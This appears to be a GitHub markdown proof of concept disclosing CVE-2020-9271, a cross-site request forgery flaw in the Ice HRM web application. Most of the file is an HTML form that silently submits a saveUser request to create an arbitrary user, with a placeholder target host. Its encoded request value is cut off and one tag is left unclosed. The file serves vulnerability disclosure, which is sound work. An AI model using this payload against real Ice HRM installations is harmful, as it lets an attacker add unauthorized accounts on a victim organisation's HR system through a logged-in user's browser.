J3rryBl4nks Update AddNewUserCSRF.md History

1 contributor

34 lines (18 sloc) | 1.05 KB

The Ice HRM Web Application is vulnerable to CSRF to add an arbitrary user

CVE-2020-9271

CSRF POC:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://HOSTHERE/icehrm/app/service.php">
      <input type="hidden" name="t" value="User" />
      <input type="hidden" name="a" value="ca" />
      <input type="hidden" name="sa" value="saveUser" />
      <input type="hidden" name="mod" value="admin&#61;users" />
      <input type="hidden" name="req"
value="&#123;&quot;username&quot;&#58;&quot;test&quot;&#44;&quot;email&quot;&#58;&quot;test&#64;test&#46;com&quot;&#44;&quot;employee
/>
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```